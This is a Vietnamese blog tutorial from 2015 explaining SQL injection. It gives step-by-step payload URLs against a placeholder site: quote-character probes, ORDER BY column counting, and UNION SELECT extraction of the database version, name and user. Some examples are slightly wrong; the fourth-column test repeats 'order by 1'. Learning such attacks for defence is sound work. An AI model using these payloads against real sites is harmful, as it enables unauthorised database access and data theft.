Thứ Hai, 10 tháng 8, 2015

Bổ trợ kiến thức An ninh mạng ( phần 3-định nghĩa & khai thác)

SQL là một lỗ hổng khá phổ biến và quen thuộc vs hầu hết những ai đam mê Hacking,nhưng hầu hết chỉ biết nó là 1 lổ hổng để khai thác nhằm mục đích cá nhân nhưng ít ai hiểu về định nghĩa,lý thuyết và cách thức gây lỗi của nó
1.Định Nghĩa:
SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website…
2.Cách thức gây ra lỗi:
Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ‘,”,*,-,… mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn.
3.Kiểm tra và khai thác
Để kiểm tra lỗi ta thêm ',",*,- vào các đầu giá giá trị của website.Ví dụ: http://www.site.com/index.php?id=1 -Thì id=1 của nó:
+ id => giữ liệu đầu vào
+ 1 => giá trị của giữ liệu đầu vào
-Ta tiến hành thêm các kí tự ',",*,-... thì nó sẽ thành:

http://www.site.com/index.php?id=1′
http://www.site.com/index.php?id=1″
http://www.site.com/index.php?id=1*
http://www.site.com/index.php?id=-1

Nếu kết quả nó trả về là rỗng (emty,null,hoặc trang trắng) hay trả về dòng thông báo lỗi như Error,Falcal thì cho thấy website bị dính lỗi SQL Injection
Khai thác cơ bản - Đếm column (số cột) tồn tại trong table mà website hiện đang sử dụng Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện đang được sử dụng,ta có hai truy vấn để thực hiện việc đếm số cột
order by number
group by number
giả sử ta có 1 website đang sử dụng table “sonictable” và trong table đó có 3 column(3 cột)

cột 1 lấy tên là “id”
cột 2 lấy tên là “content”
cột 3 lấy tên là “authors”

Khi ta muốn thực hiện đếm cột ta sẽ thực hiện truy vấn như sau:

http://www.site.com/index.php?id=1 order by 1– -
=> bình thường (có tồn tại cột thứ 1)
http://www.site.com/index.php?id=1 order by 3– -
=>bình thường ( có tồn tại cột 3 )
nhưng khi đếm sang cột thứ 4 http://www.site.com/index.php?id=1 order by 1– -
=> bị lỗi trả về kết quả là error hoặc rỗng hoặc falcal tức là website không tồn tại cột thứ 4

Khai thác cơ bản – tìm cột bị lỗi và tiến hành khai thác Để tìm được cột bị lỗi, ta dùng query:
union select number

Sau khi ta đã tìm được số cột, ta tiến hành tìm cột nào được hiển thị và có lỗi bằng query “union select” và ta tìm được 3 cột tồn tại trong table, ta có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau:
http://www.site.com/index.php?id=1 union select 1,2,3
Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng http://www.site.com/index.php?id=null union select 1,2,3

giả sử nó hiện số 2 ra tức là column thứ 2 (column “content”) đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu) tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng http://www.site.com/index.php?id=null union select 1,version(),3 kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng

* Mở rộng: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database
http://www.site.com/index.php?id=null union select 1,concat(version(),database(),user()),3

và 1 rắc rối nhỏ là ta sẽ được trả ra 1 kết quả của version,database name, username database bị dính chùm rất khó nhìn, ta có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của “|” sau khi đã được chuyển thành hex)
http://www.site.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3
và hiển thị lại không bị khó nhìn nữa.

Về cơ bản thì tới đây các bạn cũng nắm rõ phần nào về lỗ hổng sql injection, định nghĩa và khai thác của nó. ngoài ra các bạn có thể tham khảo thêm các video khai thác, các hướng dẫn khai thác để tiếp tục học hỏi thêm về sql injection.

*Nguồn bài viết tại: ithoangcaochi.blogspot.com

Nếu các bạn thấy hay xin hãy bấm vào nút "chia sẻ lên Facebook" ngay dưới đây nha các bạn

Không có nhận xét nào:

Đăng nhận xét